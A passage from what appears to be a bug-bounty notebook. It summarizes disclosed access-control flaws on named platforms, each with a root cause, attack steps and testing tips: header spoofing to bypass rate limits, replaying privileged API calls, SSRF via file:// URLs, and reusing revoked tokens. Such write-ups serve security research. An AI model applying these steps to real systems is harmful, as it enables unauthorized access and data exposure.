Insight — On enterprise ticketing/ITSM apps, always test whether the 'caller'/'requested for'/'on behalf of' field trusts client-supplied identity. It commonly doubles as a PII oracle and a trusted phishing channel.

Root cause

Transferring a subgroup from one parent group to another does not recompute/strip inherited memberships; the original parent's members keep their inherited access level on the moved subgroup and its projects while not appearing in the members list ('ghost members').

Method

1. Create private GroupA (with extra members at maintainer/owner) and private GroupB (only you).
2. Create subgroupA + a project under GroupA.
3. Transfer subgroupA into GroupB.
4. As a GroupA member who is not in GroupB, confirm you still have full access to subgroupA/project and do not show up in the members tab.

Insight — Ownership/parent transfers are a rich access-control surface: test whether inherited grants are recomputed after a move. 'Access without appearing in the member list' is both a privilege-persistence and an auditability bug.

Root cause

The adminGenerateSession mutation returned an app session token to a staff member holding NO permissions, because the mutation lacked the Apps-permission check its function required.

Method

1. As a zero-permission staff user, call the privileged mutation directly
2. Receive the session/app token

Insight — Enumerate GraphQL mutations and call each with a low/zero-privilege account (BFLA); function-level authz is frequently enforced in the UI but missing on the resolver.

Root cause

A GraphQL mutation not exposed in the UI (fileCopy) lacks the object/permission checks the UI enforces; a low-privilege staff account can call it directly to act cross-tenant.

Method

1. Enumerate GraphQL schema / harvest mutation names from JS bundles and introspection
2. Find mutations with no UI entry point (fileCopy)
3. As low-priv staff on storeA, upload a file to your own storeB to obtain absoluteKey/key/path
4. Call fileCopy on storeA with storeB's file identifiers to copy assets you cannot normally add

Insight — Grep JS bundles and run introspection for mutations with no UI button; undocumented/internal operations are the ones most likely to skip authorization checks (BFLA).

Root cause

Account bans block UI/login but the API layer keeps honoring the previously issued API token; ban/delete revocation is not propagated to every credential/subsystem.

Method

1. Generate an API token before the account is banned
2. Get the account permanently banned/deleted
3. Use the old token against the REST API (reports, balance, earnings, payouts, programs) - all still work

Insight — After any state change that should revoke access (ban, delete, logout, password change, permission removal), re-test EVERY parallel credential path: API tokens, mobile sessions, OAuth grants, collaborator invites. Revocation is rarely global.

Root cause

appCreditCreate is meant to be Shopify-admin-only (the core internal endpoint rejects it for staff), but the Shopify GraphiQL app's API surface makes the same mutation callable by a store staff with 'apps' permission -> mint unlimited credits.

Method

1. Install the Shopify GraphiQL app as staff with 'apps' permission
2. Send any action to capture the app's authenticated GraphQL request (its own cookie/CSRF)
3. Replace body with the appCreditCreate mutation
4. Verify credits appear on the billing page

Insight — A mutation blocked on the main endpoint may be reachable through a first-party companion app that proxies to the same backend with broader trust; test privileged operations through every app/proxy surface, not just the primary API.

Root cause

An exported deep link handler starts a privileged action (video call) from attacker-controlled parameters without a user gesture/confirmation; a crafted link with the attacker-victim conversation_id auto-initiates the call, leaking the victim's camera/surroundings.

Method

1. Obtain the attacker<->victim conversation_id
2. Send the victim a deep link that maps to the call-start action
3. Victim tapping the link auto-initiates a video call to the attacker, exposing their surroundings

Insight — Enumerate an app's exported deep links (manifest) and test whether any trigger state-changing/sensitive actions (call, pay, share, add-friend) directly from URL params without confirmation - these are one-click IPC exploits.

Root cause

The Shop Seller 'search product' API used a live boolean as a visibility filter; setting live=false (or omitting it) returned inactive/suspended products that shouldn't be exposed.

Method

1. Locate the product-search POST (params include live:true)
2. Resend with live:false or omit the field
3. Response includes suspended/inactive products

Insight — Boolean filter params (live/active/published/is_deleted/visible) are often applied as a UI convenience, not an authorization control. Flip them, negate them, or omit them to surface hidden/soft-deleted/suspended records.

Root cause

Within a multi-program organization, UI restricts a low-permission user to one program, but the REST API does not enforce that group scoping, so the user's API key can query the sibling program's policy and updates.

Method

1. In an org with 2 programs, be a user in a low-permission group scoped to program A only
2. Generate a HackerOne API key for that account
3. Request the OTHER program's handle via the hackers API
4. Receive program B's policy and updates you shouldn't see

Insight — Authorization scoping enforced in the UI/GraphQL is often absent on the parallel REST/API-key surface; re-test every object you 'shouldn't' see through the raw API with a token from a scoped-down account.

Root cause

A decommissioned legacy Flickr/Yahoo server retained full access to the main database and lacked access controls; an undocumented /start search path returned any user's complete DB record (including password hash) in a Y.listData JS object.

Method

1. Reach the orphaned server (https://34.235.208.201) and discover the /start path
2. Search by a target's published image name
3. Intercept/replay in Burp; the redirect response body contains Y.listData with the full user record incl password hash

Insight — Hunt legacy/decommissioned hosts (old IPs, staging, migration remnants) that still hold prod DB access -- they often skip the authz layer the main app enforces. Fuzz for undocumented paths (/start) and inspect full response bodies (Burp), not just the rendered page.

Root cause

An endpoint (advanced_vetting / terms_acceptance_data.csv) responds differently for real-but-private program handles vs non-existent handles (distinct response instead of the default 404), leaking which private programs exist.

Method

1. Request hackerone.com/<handle>/terms_acceptance_data.csv for a candidate company handle
2. Non-existent handle -> default 404 page
3. Private/real program -> different response (request goes through / distinct error)
4. Script company-name handles to confirm private programs

Insight — Confidentiality bugs often hide in response DIFFERENCES, not data: a resource that returns 200/302/distinct-error for real-but-unauthorized objects and 404 for nonexistent ones is an enumeration oracle. Diff responses across known/unknown/private ids.

Root cause

Rate-limit counter and location/geo restriction are keyed on a client-controlled X-Forwarded-For header instead of the real socket IP, so rotating the header resets the counter and forges the origin country.

Method

1. Hit the login/OTP endpoint until a 429 appears
2. Add/rotate X-Forwarded-For: <random IP> per request to keep bypassing the limit
3. To defeat a country restriction, set X-Forwarded-For to an IP from the allowed country (Burp Match&Replace) and retry the blocked login

Insight — Whenever rate limiting or geo-gating exists, test XFF / X-Real-IP / True-Client-IP / Forwarded. If the counter resets or the geo error clears, both controls are trusting a spoofable header. Also enables OTP brute force once the limiter is gone.

Root cause

The requirement to enable 2FA before sending team invites is enforced only by a client-side flag in an API response; flipping the response value from false to true unlocks the action because the server never re-validates 2FA status.

Method

1. Attempt to invite a team member - UI blocks, citing 2FA requirement
2. In Burp, Match & Replace the client-side flag false -> true in the response
3. Reload, re-attempt invite
4. Invitation is sent with 2FA never enabled

Insight — Any security prerequisite (2FA, email-verified, KYC, plan-tier) surfaced as a boolean in an API response is likely enforced client-side only; flip it with Match&Replace and see if the gated server action proceeds.

Root cause

The bypass_reviewers endpoint verifies admin authorization against the repository named in the URL, but applies the change to a different repository identified by an owner_id parameter in the request body.

Method

1. Have admin on repo A that you control
2. POST to /<repoA>/settings/security_analysis/bypass_reviewers with owner_id in the body pointing at victim repo B
3. The delegated bypass-reviewer list of repo B is modified

Insight — When authorization keys off the URL path but the mutation targets an id in the body, they can disagree. Always duplicate the object identifier (put your authorized id in the URL, the victim id in the body) to test path-vs-body authz mismatches.

Root cause

Mozilla Hubs enforces room permissions (create/move objects, room-entry required) only in client JS. The server processes the websocket object-creation commands without re-checking room ACLs, so a non-admin (or even a non-joined spectator) can spawn/pin objects.

Method

1. Admin disables 'create and move objects' and 'pin objects' in room settings
2. As a non-admin, open the chat and issue /add commands to spawn objects
3. Use --no-menu flag to spawn objects that cannot be removed
4. To act without joining: in DevTools override the client check `const entered = this.scene.is('entered')` to `true` (or use ghost/spectator state) to unlock all commands

Insight — Any restriction enforced only in front-end JS (feature toggles, room settings, 'entered'/role flags) is advisory. Replay the underlying websocket/API action directly, or patch the client boolean in the debugger, to confirm the server re-validates. Websocket apps frequently skip server-side authz.

Root cause

StartActivity is declared android:exported="true" with no android:permission and launchMode=singleInstance. Any installed app can fire an explicit intent at it; onNewIntent re-runs the startup/auth sequence, tearing down the authenticated session, and forwards launchDataUri into navigation unvalidated.

Method

1. Confirm the target activity is exported without a permission guard in AndroidManifest
2. From any zero-permission app (or adb) start it with an explicit component + launchDataUri extra while a session is active
3. Observe immediate forced logout; loop it for persistent DOS
4. Secondary: point launchDataUri at a victim blob/download URL to force navigation with the reused session

Insight — Enumerate exported activities/services/receivers lacking android:permission. Launch them with crafted explicit intents; watch for auth/session state resets and for intent extras (URIs) forwarded unvalidated into WebView/navigation. Fix pattern: exported=false or signature-level permission.

Root cause

GraphQL mutations meant for internal reviewers (reviewPentestOpportunity, reviewCompletePentestOpportunity) have no function-level authorization, so a customer can drive a submission through its review state transitions themselves.

Method

1. Run GraphQL introspection to enumerate mutations
2. Identify state-transition mutations that map to reviewer/admin-only actions
3. Create the object (createPentestOpportunity) and capture its id/token
4. Call reviewPentestOpportunity then reviewCompletePentestOpportunity with that id to move status submitted->in_review->reviewed

Insight — Introspection reveals mutations with no UI exposure. Any mutation that represents a privileged workflow step (approve, review, complete, publish) must be tested for missing role checks - call it directly as a low-priv user.

Root cause

The report disclosure workflow requires moderator agreement, but the bulk-action endpoint accepts a reply_action=agree-on-going-public directly from the hacker, letting them self-approve publication.

Method

1. Initiate a publish/disclosure request
2. Capture the bulk action POST
3. Set reply_action to the privileged value (agree-on-going-public) and submit
4. Report is published without the moderator's agreement step

Insight — State machines exposed via a generic 'action' parameter often don't validate whether the caller's role may perform that action. Enumerate accepted action values and try the counterparty's/privileged action from the low-priv side.

Root cause

The FavoriteTweet GraphQL endpoint lets a non-member like a private Twitter Circle tweet (no membership check). Although the tweet body isn't shown in-app, the attacker's account data-export archive includes the full content of liked tweets, leaking the private post.

Method

1. Capture the FavoriteTweet request while liking a normal tweet
2. Swap tweet_id for a private Circle tweet id; observe 200 OK
3. Request your account data at settings/download_your_data
4. Open the archive (data/like.js) to read the private Circle tweet content

Insight — When a direct action leaks little, look for a secondary sink that reflects the object back to you: data-export/GDPR archives, notifications, email digests, activity logs. Broken object-level authz on a write action (like/bookmark) plus an export side channel = private data read.

Root cause

An agent's sid is client-settable on update. A member creates their own agent and PATCHes its sid to that of an admin-managed agent, producing a private clone that keeps working even after the admin disables the original.

Method

1. As a member, create a new agent
2. PATCH the new agent and set its sid to the admin agent's sid (e.g. gemini-pro)
3. Admin disables the original agent
4. The member's cloned agent still resolves/uses the admin agent's capability

Insight — If an object's identifier/slug is client-controllable on create/update, users can duplicate privileged objects into their own namespace, defeating admin lifecycle controls (disable/revoke). Test whether disabling the source actually revokes derived copies.

Root cause

A report-submission ban was enforced only on the primary (web/GraphQL) submission path; creating a personal API key and submitting via the documented REST endpoint bypassed the ban entirely.

Method

1. Get your account banned from submitting reports (403 on the normal web/GraphQL path).
2. Create an API key (sandbox program is enough).
3. Submit reports via the REST API create-report endpoint; the ban is not checked there.

Insight — Bans/limits/authorization must be enforced at the service layer, not per-interface. When an app has both a web/GraphQL UI and a REST API, replay every restricted action through the alternate interface - the check is frequently only on one.

Root cause

The dev-store creation flow only checks a broad 'has store access' condition; the /organizationID/stores/signup_object/dev_store endpoint issues a signup token to any staff member, so someone with only managed-store permission can create (and auto-login to) development stores.

Method

1. Have a staff account whose permissions were reduced to managed-store only
2. GET /organizationID/stores/signup_object/dev_store to obtain a signup token despite lacking dev-store permission
3. POST /services/signup/create with that token to create the dev store
4. Get logged into the new store automatically

Insight — Privilege changes in the UI aren't always enforced server-side. After a permission is revoked, replay the underlying provisioning/token endpoints - many gate on a coarse 'any access' check instead of the specific capability.

Root cause

BulkImports RepositoryPipeline passes an attacker-controlled httpUrlToRepo to fetch_as_mirror and calls Gitlab::UrlBlocker.validate! without a schemes allowlist, so file:// (and other protocols) pass validation. Combined with the deterministic on-disk repo path (sha256(project_id) bucketed), an attacker imports/clones any repository by id.

Method

1. Stand up a fake source server (Flask) that returns a crafted httpUrlToRepo of file://host/path
2. Compute the target repo's on-disk path: sha=SHA256(project_id); path=@hashed/sha[0:2]/sha[2:4]/sha.git
3. Start a bulk import pointing at your fake server with destination_namespace you control
4. Server fetch_as_mirror clones the local repo into your namespace

Insight — When code validates a URL for SSRF but doesn't pin allowed schemes, try file://, gopher://, dict://. If the app stores objects at a path derived from a predictable hash of an incremental id, you can address arbitrary internal objects. Restrict to https/git/ssh is the fix.

Root cause

The new scope-policy feature's PolicyScopeAssetGroupsQuery returns program names/scopes without restricting to the requesting user's authorized programs; appending /policy_scopes and enlarging the query page size dumps private programs' scopes to an unauthenticated user.

Method

1. Visit /<program>/policy_scopes as an unauthenticated user
2. In the proxy find the PolicyScopeAssetGroupsQuery GraphQL request; send to repeater
3. Increase the size/first parameter (e.g. to ~2215) to pull the maximum result set
4. Search the response for private program domains you shouldn't see

Insight — GraphQL list queries backing a new feature frequently forget tenant filtering. Test with an oversized page-size/first argument and no auth; the pagination cap often bounds how much cross-tenant data leaks.

Root cause

The 'hide likes' setting hides the Likes timeline only in the UI; the Likes GraphQL endpoint still returns any user's liked tweets when queried directly with the target's userId.

Method

1. Capture the /i/api/graphql/.../Likes request for your own profile
2. Set variables.userId to a target user who has hidden their likes
3. Send the request; the response returns the hidden likes as JSON

Insight — 'Hidden/private' toggles are often display-layer only. Take the API request behind the feature and substitute another object/user id (BOLA). If the server returns data for a target that the UI hides, the privacy control isn't enforced server-side.

Root cause

GovSlack disables self-serve workspace creation in the UI, but the underlying /api/signup.createTeam endpoint still honors the request; replaying the slack.com createTeam POST against slack-gov.com using cookies from a failed GovSlack sign-in creates a GovSlack workspace.

Method

1. On slack.com create a workspace, capture the /api/signup.createTeam POST (as fetch, credentials:include)
2. Attempt a GovSlack sign-in to obtain slack-gov.com cookies
3. Replay the same fetch against slack-gov.com (swap host) -> workspace created, access to Gov-only features

Insight — When a feature is 'disabled' only in the UI, test the raw API endpoint directly. Controls hidden client-side often remain callable server-side; port a working request from a sibling product/instance.

Root cause

A TikTok Ads endpoint's postMessage handler sends POST requests based on message data without validating event.origin, so an attacker page framing/opening the target can drive a POST with arbitrary parameters to any endpoint in the victim's authenticated context (e.g. close account & refund).

Method

1. Identify the page with a message-event listener that issues authenticated POSTs
2. From an attacker origin, postMessage the crafted payload to it
3. Handler forwards a POST (with the victim's cookies) to the target endpoint
4. Sensitive action (close account / refund) executes with one click

Insight — Audit window message listeners for a missing event.origin allowlist. A handler that turns message data into an authenticated request is a CSRF-equivalent primitive that bypasses SameSite/CSRF tokens. Grep client JS for addEventListener('message' without origin validation.

Root cause

Opening a Spot Check by its id from the program (owner) perspective returns settings metadata (number of hackers, budget, selection criteria) that should be confidential to the requester, because the query serves owner-view fields regardless of the caller's real relationship to the object.

Method

1. Navigate to the object's settings URL and note the id in the path/query
2. Swap in the id of a Spot Check you were merely onboarded to (not the owner of)
3. Read the SpotCheckSingleQuery response for owner-only metadata

Insight — Same object, two viewer roles, two field sets. Replay the privileged 'view/settings' query with an id you can only see from a lesser role; backends often key the response shape on product_area/feature params rather than re-checking the caller's role on that specific object.

Root cause

A password-protected store returns 401 for /blogs/news.atom on its canonical *.myshopify.com host, but the same content is served without the password check on the *.shopifypreview.com preview hostname.

Method

1. Confirm the resource is gated (401 / redirect to password page) on the canonical host
2. Locate the preview/staging hostname for the same tenant (e.g. <store>-<id>.shopifypreview.com)
3. Request the same path (news.atom) on the preview host and receive the content

Insight — Access control is often bound to the primary hostname only. Always retest gated resources on alternate hostnames: preview/staging/edge/CDN/apex-vs-www. The auth middleware frequently isn't wired up on the secondary vhost.

Root cause

An edge/reverse-proxy trusts a client-supplied X-Forwarded-For header to decide whether a request is 'internal'; spoofing 127.0.0.1 flips x-is-internal-ip-address:true and unlocks restricted internal endpoints and the swagger spec.

Method

1. Find an endpoint that returns an access/predicate error for you (biz-app.yelp.com/status)
2. Resend with header X-Forwarded-For: 127.0.0.1
3. Restricted internal responses are returned (health/status, swagger.json)

Insight — Whenever a response reveals IP-based trust (x-is-internal-ip-address, admin-by-IP), fuzz X-Forwarded-For / X-Real-IP / X-Client-IP / Forwarded / X-Originating-IP with 127.0.0.1, 10.x, internal ranges. Grab swagger/openapi once inside to map the newly-exposed surface.

Root cause

The same resource URL serves HTML or JSON based on the Accept header; the JSON code path omits the authorization check the HTML path enforces, so any authenticated user reads private pictures/videos/posts by requesting JSON.

Method

1. Find a resource that renders HTML normally (e.g. /users/{id}/pictures/{id})
2. Re-request it with Accept: application/json
3. If the JSON branch skips authz, you receive the private resource

Insight — Different representations, different middleware. Retest every gated URL with Accept: application/json (and .json/.xml suffixes, ?format=json). API/JSON branches routinely re-implement the handler without the HTML path's access control.

Root cause

The undocumented emailSenderConfigurationUpdate GraphQL mutation performs no function-level permission check, so a staff account explicitly granted no permissions can change the store's customer-facing sender email.

Method

1. Invite a staff member with zero permissions to your store
2. As that staff user, send the emailSenderConfigurationUpdate mutation to /admin/internal/web/graphql/core
3. Confirm the store's Customer email changed in Store details

Insight — Enumerate undocumented/internal GraphQL mutations (internal/web/graphql/core) and replay them from a least-privilege account. UI hiding a function is not authorization; many internal mutations never re-check the actor's role.

Root cause

An upload-only (file-drop) share hides contents in the default UI, but the gallery app served the same share token at /apps/gallery/s/<token> and rendered/downloaded the files, ignoring the upload-only restriction (CVE-2020-8119).

Method

1. Obtain an upload-only file-drop share URL /s/<token>
2. Swap the path to the gallery app endpoint /apps/gallery/s/<token>
3. View and download the supposedly hidden uploaded media (even with 'hide download' set)

Insight — The same object is often reachable through multiple app/module endpoints that don't share authorization checks. Enumerate alternate handlers (gallery, preview, dav, thumbnail, API) for any restricted share/ID.

Root cause

A privileged admin-creation endpoint (/users/create_admin) performs no server-side authorization check on the caller's role; any authenticated low-privileged user can POST to it with a valid session+CSRF token and create an admin account.

Method

1. Create a non-privileged Stocky user.
2. Capture a valid session cookie and authenticity_token from any normal request (e.g. update profile).
3. POST directly to /users/create_admin with new user fields.
4. Log in as the newly created admin.

Insight — Enumerate admin-only actions (create_admin, invite, role-change) and replay them from a low-priv session with a valid CSRF token. Missing function-level authz on privileged POST endpoints is a recurring self-provisioning vector.

Root cause

The user_oidc ID4me toggle only hides the login button; the controller at /apps/user_oidc/id4me stays reachable, so an unauthenticated user pointing it at an attacker-controlled OIDC discovery server registers a new account (even as an existing username via a forged id_token sub).

Method

1. Confirm user_oidc is installed (ID4me may appear disabled)
2. As an unauthenticated user open /apps/user_oidc/id4me and supply an attacker-controlled ID4me domain
3. Attacker server serves /.well-known/openid-configuration, /register, /auth (redirect), /token (crafted id_token with chosen sub)
4. Nextcloud provisions/logs in a new account on the instance

Insight — A UI 'disable' toggle that only hides a button rarely removes the backend route. For every feature flag, request the underlying controller/endpoint directly. OIDC/ID4me flows that trust an attacker-chosen discovery document let you mint arbitrary id_token claims (sub) for provisioning.

Root cause

Admin-side agent permissions were enforced only in the UI; the message-edit API accepted an arbitrary mention/configurationId, so a member could invoke a disabled or unpermitted agent by naming it in the request body.

Method

1. As a restricted member, start a normal conversation and intercept the message-edit request
2. Change the mention and configurationId to the target (disabled) agent's id
3. Forward -> the disabled/unauthorized agent responds

Insight — Feature toggles / entitlement checks enforced only in the UI are bypassable by supplying the target resource id directly in the API body. Enumerate object ids of disabled features and reference them in requests.

Root cause

Phabricator generates image transformations (crops/thumbnails) of a private upload with a default public visibility that does not inherit the source object's private ACL, and the user cannot edit or delete the derived public URL - leaking the original (uncropped) content.

Method

1. Upload a file and set visibility to 'no one'/'just you'
2. Open 'View Transformations' and click regenerate to create a derivative
3. Note the derivative is served from a new public phabricator URL
4. The public derivative still contains the sensitive content and cannot be modified/deleted

Insight — Derived artifacts (thumbnails, transforms, exports, cached renders, PDF previews) frequently do not inherit the source object's ACL and default to public. For any private-file feature, generate every derivative and check each resulting URL's access independently.

Root cause

An ownership scope (claimed_by_user) used a subquery ChecklistCheck.where(user_id: user).select(:checklist_id) instead of an inner join. Unclaimed rows have user_id = NULL, so calling the scope with nil (an anonymous requester) returns those checklists and grants the CLAIMER role.

Method

1. Identify a GraphQL object whose authz depends on an 'owned by requester' scope
2. Confirm the endpoint is reachable while signed out (requester = nil)
3. Query the object as an anonymous user; the scope matches NULL-owner rows and authorizes you

Insight — Ownership checks built on WHERE column = requester silently match rows where the column is NULL when requester is nil (anonymous). Test any 'is mine' authorization anonymously and on objects with unset owner fields.

Root cause

Authorization was enforced on the primary content endpoints but the search REST API did not check the token's scope, so a classic PAT lacking the repo scope could still retrieve issues/commits from private/internal repos the user could otherwise access (CVE-2026-3582).

Method

1. Hold access to a private repo via org membership/collaborator role
2. Create a classic PAT WITHOUT the repo scope
3. Query the search REST API (issues/commits) with that under-scoped token and read private content

Insight — Scope/permission checks are often per-endpoint. Re-test the same data through secondary endpoints (search, export, GraphQL, RSS, webhooks) with a deliberately under-scoped token.

Root cause

An installed app returned the store's privileged access token inside a client-visible GraphQL response (shopInfo.shopifyToken). Any staff member who could load the app page could scrape the token; because the token was long-lived and not tied to the staff session, it kept full API access even after the user was removed.

Method

1. Load the app UI as a low-privilege staff member (only 'Apps' permission)
2. In DevTools/proxy, inspect the app's backend GraphQL calls (e.g. the shopInfo query)
3. Extract the returned access token
4. Use it directly against the platform REST/GraphQL API (X-Shopify-Access-Token) to read/modify store data
5. Have the owner remove you as staff — the token still works

Insight — Grep every app/integration's client-visible responses for tokens/keys ('token','apiKey','secret'). A leaked long-lived token is an offboarding backdoor: it usually is not revoked when the human is removed. Test token validity after your access is revoked.

Root cause

An instance admin restricted certain project/group visibility options, but the restriction was enforced only in the web UI (option grayed out). The API accepted a direct PUT setting the restricted value, so any user could set the forbidden visibility.

Method

1. As a non-privileged user, create a project and generate a personal access token
2. Send a PUT to the project API setting the admin-restricted visibility value
3. Observe 200 and the restricted value applied

Insight — UI-grayed-out options are a giant tell. Every restriction/limit shown as disabled in the front end should be replayed directly against the API with the forbidden value. Server-side authorization is frequently missing where the UI already hides the control.

Root cause

Share permissions were enforced only at share-creation, not re-validated against the parent share; a resharer could PUT their own share to re-enable the 'download' attribute the owner had removed, defeating secure-view/watermarking.

Method

1. Owner shares folder to user2 with reshare but without download
2. user2 reshares to user3 (share ID 11)
3. user2 PUTs share 11 re-enabling the download attribute
4. user3 downloads freely, bypassing secure view

Insight — When a restriction propagates through a resharing/delegation chain, test whether a downstream principal can widen the permission set on their own object; parent constraints are often not intersected with child grants.

Root cause

Restrictions tied to account state (expired password, deactivated) were enforced only on the interactive web-login path; personal-access-token auth to REST, GraphQL and Git HTTP skipped the state check, and an LDAP-focused fix regressed the earlier patch.

Method

1. Create a user and generate a personal access token
2. Admin sets/expires the user's password (state = expired) - do NOT complete the new-password page
3. Use the token against REST (GET /api/v4/projects/:id), GraphQL and Git HTTP
4. Access still granted despite the expired/deactivated state

Insight — When an account is disabled/expired/locked, re-test EVERY auth channel independently - web session, REST token, GraphQL, Git/SSH, OAuth. State gates are frequently implemented only in the login controller and missed on token middleware. Also re-test after later 'fix for X' releases: state checks regress.

Root cause

GitLab enforces role permission on the visible action (create issue) but derives the created object type from a client-supplied issue[issue_type] parameter; changing it to test_case creates a test case, which requires Reporter+, from a Guest account.

Method

1. As a Guest, capture the create-issue POST.
2. Change issue[issue_type] from issue to test_case.
3. Send it -> a test case is created despite Guest lacking that permission.

Insight — When one endpoint creates multiple object types selected by a request param, permission is often checked for the base type only. Fuzz type/kind/category params to reach object types your role shouldn't create.

Root cause

A Wholesale invitation token generated for the attacker's own store was accepted as valid for a different (target) store, because the token was not bound to the store it was issued for.

Method

1. Attacker sets up their own store B and generates a valid invite link with a token
2. Take the invite-accept URL and swap the store domain to target store A
3. Register via the swapped link; the token validates against A
4. Attacker gains full Wholesale access to store A without an invite

Insight — For invite/activation/confirmation tokens in multi-tenant apps, mint a token in your own tenant and replay it against another tenant's endpoint. If the token isn't cryptographically bound to its tenant/resource, you get cross-tenant onboarding.

Root cause

The voyagerOrganizationDashEmailDomainMappings endpoint enforces no per-role authorization; an 'Analyst' (lower-privileged) company role can call it directly and read the approved email-verification domains that are only exposed to admins in the UI.

Method

1. As an admin, capture the request to the email-domain-mappings endpoint.
2. Replay it with the cookies/CSRF token of a lower-privileged (Analyst) user.
3. Response discloses the admin-only data.

Insight — Classic BFLA/A-B-A test: capture a privileged API call, replay it with a lower role's session. Endpoints not surfaced in the low-priv UI frequently lack their own role check.

Root cause

The can_manage_custom_fields ACL executed return_true_if(feature_enabled?(CUSTOM_FIELDS_TRIAL)) before the program_management_permission? check, so enabling the trial feature granted the capability to anyone who could access the program, including invited hackers on private programs.

Method

1. Identify a capability gated behind both a feature flag and a role check
2. Trigger the state where the feature flag/trial is enabled for the team
3. As a low-priv principal (invited hacker/external profile), invoke the create/update action
4. Action succeeds because the early return_true grants before the role check runs

Insight — When trial/beta feature flags flip access on, retest the whole permission surface as a low-priv user. Ordering bugs in policy code (an early positive return before the role gate) turn 'feature enabled' into 'everyone authorized'.

Root cause

A secondary rendering/oEmbed service (publish.twitter.com) fetches and renders content without enforcing the privacy ACL that the primary UI applies, exposing a private account's likes/timeline.

Method

1. Identify a private/protected resource blocked in the main UI
2. Find an alternate surface that renders the same resource (oEmbed, publish/print/export, AMP, API proxy)
3. Request the private resource URL through that alternate surface
4. Content renders without the privacy check

Insight — Privacy/ACL checks often live only in the primary app. Enumerate embed/oEmbed/print/export/AMP/legacy endpoints and replay protected object URLs through them; they frequently skip the visibility check.

Root cause

Managing custom apps required the 'Manage and install apps and channels' permission and the UI blocked staff without it, but granting a staff member permission to even one specific app made the backing GraphQL mutations (create/edit/install) succeed, bypassing the intended global permission.

Method

1. Give a staff member 'View/Develop apps' plus access to just one specific app (not the global manage permission)
2. Confirm the UI at /admin/apps/development is blocked for them
3. Call the CreateAppMutation GraphQL endpoint directly with their session
4. The mutation succeeds; further edit/install/scope-change endpoints also work

Insight — When a coarse permission is required for a feature, test whether a narrower/partial grant flips the backend check. The UI enforcing the global permission while the API only checks a per-object grant is a classic BFLA.

Root cause

Node's permission model silently discarded any text after a * in --allow-fs-read/write paths and, for a trailing wildcard, also granted the path with the wildcard-and-last-char removed, so restrictive patterns like /.ssh/*.pub actually granted all of /.ssh/.

Method

1. Grant a scoped fs permission using a wildcard pattern (e.g. /home/u/.ssh/*.pub)
2. Read a file that should not match (e.g. /home/u/.ssh/id_rsa) - access granted
3. Or use /etc/passwd.* and read /etc/passwd itself

Insight — Fuzz allowlist/glob parsers with wildcards mid-string and trailing: implementations often truncate at the first * or off-by-one the boundary, collapsing a narrow rule to a broad one. Applies to any path/permission allowlisting layer.

Root cause

A plugin (Sensei LMS) registers a custom post type over the WP REST API without a permission_callback, so private teacher-student messages are readable unauthenticated by enumerating the numeric post ID.

Method

1. Identify custom post types exposed under /wp-json/wp/v2/ (from the plugin's REST registration)
2. Request the collection or a specific numeric id unauthenticated
3. Enumerate ids to pull all private records
4. Confirm no auth/permission is enforced

Insight — On WordPress targets, enumerate /wp-json/wp/v2/ for plugin-registered post types (messages, orders, submissions) and test them unauthenticated - plugins routinely omit permission_callback, exposing private data by ID enumeration. Check /wp-json for the full route map first.

Root cause

Pontoon gates privileged actions (unapprove translation, pin/unpin comment) only in the frontend by hiding the button; the backend view has no permission check, so any logged-in user can invoke the endpoint directly with a valid session and CSRF token.

Method

1. Log in as a low-privileged user; locate the object ID from a read endpoint (e.g. /get-history/ or /get-team-comments/ response).
2. Replay the privileged action request with your own session cookie + X-Csrftoken and the target object ID.
3. Observe 200 OK and the state change (translation unapproved / comment pinned).

Insight — When a button is conditionally rendered by a canX frontend flag, the backend view is the real test. Pull the object ID from a sibling read API and fire the mutating endpoint directly — missing @permission_required on the view is extremely common. Two separate Pontoon endpoints had the same flaw.

Root cause

The UI-level 'cannot post to channel' restriction is not enforced on the /commands/execute endpoint, so a member without post permission can emit channel messages by executing a command (e.g. /echo).

Method

1. As a member without post permission in a channel, capture your session + CSRF token.
2. POST /api/v4/commands/execute with a command that outputs a message and the target channel_id/team_id.

Insight — When one action (post message) is blocked, look for a secondary feature that produces the same side effect through a different code path (commands, imports, webhooks, integrations) where the permission check was never wired up.

Root cause

An access rule denies GET to a path but the same resource is served for other verbs; switching to POST (with Content-Length:0 to avoid a 411) reaches the otherwise forbidden content.

Method

1. Find a path returning 403 on GET.
2. Re-request with POST and Content-Length:0.

Insight — 403/401 responses are often verb- or path-normalization-specific. Try POST/PUT/HEAD, add Content-Length:0, and path tricks (//, /./, %2e, trailing dot, case) before concluding a resource is protected.

Root cause

An object reference (widget query_id) is authorization-checked when rendered/exported in the UI, but the asynchronous scheduled-email job that renders the same widget performs no authorization check, so tampered IDs leak other tenants' data through the email.

Method

1. Create a dashboard/widget; capture the POST /widgets.json request containing query_id.
2. Change query_id to another tenant's query object.
3. Observe the UI widget renders empty and UI export produces empty PDFs (authz works there).
4. Schedule an email reminder for the dashboard; the emailed PDF/image contains the actual unauthorized data.

Insight — Never conclude an IDOR is fixed just because the primary UI/export path blocks it. Enumerate every alternate rendering path -- scheduled emails, digests, webhooks, PDF/report generators, background jobs -- which frequently run under different (or service) privileges and re-check nothing.

Root cause

A capability is gated by a signature/HMAC that is identical for all staff, is not bound to the session, and never expires. Once captured while authorized, the signed value keeps working after the user is removed.

Method

1. As org owner, grant a new staff member a specific permission (e.g. Manage Shops / Apps).
2. As that staff member, open the privileged flow and grab the signature parameter from the page source (extra[affiliate_shop] here, path_hmac in #416983).
3. Owner removes the staff member.
4. Replay the saved signature in a crafted request/form to still perform the action (create dev store / edit connector).

Insight — When authorization rides on a signed URL/parameter instead of the live session, capture that value while you legitimately have access, then keep it. Test whether the signature is per-user, per-session, and time-bound; if it is a static HMAC of a path it survives de-provisioning. A common de-authorization gap in bug bounty.

Root cause

A typo in the permissionRequired property on the /api/apps/logs and /api/apps/:id/logs route definitions means the RBAC guard references a non-existent permission and is not enforced, letting any authenticated user GET admin-only app logs.

Method

1. Authenticate as a low-privileged user.
2. GET /api/apps/logs (and /api/apps/:id/logs).
3. Receive admin-only Enterprise App logs.

Insight — Permission checks configured by string names fail open when the name is misspelled or unregistered. In source review, grep route definitions for the permission property and confirm each referenced permission actually exists; test admin-only API routes with a low-priv token even when a guard appears present.

Root cause

An endpoint intended for internal cron invocation (path prefixed /internal/) has no auth/IP restriction, so anyone can trigger the costly scheduled job on demand.

Method

1. Read cron.yaml / app config (often in the public repo) for internal job paths.
2. Request the /internal/cron/* endpoint directly and time the response to confirm the heavy job runs.

Insight — App Engine / framework cron and 'internal' endpoints rely on header or network controls that are often absent. Mine cron.yaml, app.yaml, robots.txt, and source for /internal, /cron, /tasks, /admin paths and hit them directly.

Root cause

